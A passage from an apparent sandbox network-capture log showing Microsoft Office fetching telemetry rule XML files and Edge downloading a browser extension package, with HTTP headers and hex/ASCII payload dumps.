2024-11-11 20:59:19 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	58701	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:19 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 9a2bdabf-a01e-0053-27d5-338603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205919Z-174f7845968cdxdrhC1EWRg0en00000005c000000000kp21 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:19 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	58700	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:19 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:19 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 1973b281-501e-0047-7bd5-33ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205919Z-174f7845968cpnpfhC1EWR3afc000000052000000000g3w9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:19 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	58703	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:19 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:19 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: feb354c0-101e-0079-0dd5-335913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205919Z-174f7845968jrjrxhC1EWRmmrs00000005p0000000006t64 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:19 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	58707	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:19 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:19 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 1815df8f-001e-0028-27d5-33c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205919Z-174f7845968j6t2phC1EWRcfe800000005h000000000ru0q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:19 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	58704	142.250.186.161	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:19 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 20:59:19 UTC	572	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY0GkvHhk2fe-WEcJJ_nA6Rkxma9OWZFvSN9bVkDiuDy_iOqPoshpbDpZl8I77_jvWIrRQGo35mZtg X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Mon, 11 Nov 2024 20:33:29 GMT Expires: Tue, 11 Nov 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 1550 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-11 20:59:19 UTC	806	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-11 20:59:19 UTC	1378	IN	Data Raw: 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc 7e Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ~
2024-11-11 20:59:19 UTC	1378	IN	Data Raw: 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 ee Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-11-11 20:59:19 UTC	1378	IN	Data Raw: 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 09 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-11 20:59:19 UTC	1378	IN	Data Raw: be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 2d Data Ascii: s!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w-
2024-11-11 20:59:19 UTC	1378	IN	Data Raw: 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 b4 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-11-11 20:59:19 UTC	1378	IN	Data Raw: 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 0a Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-11-11 20:59:19 UTC	1378	IN	Data Raw: c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 21 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&!
2024-11-11 20:59:19 UTC	1378	IN	Data Raw: 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f ae Data Ascii: A1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-11-11 20:59:19 UTC	1378	IN	Data Raw: 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 73 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/mes

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	58711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:19 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:19 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: dc8e78b0-f01e-0085-35d5-3388ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205919Z-174f7845968xlwnmhC1EWR0sv800000005ag00000000a2g1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
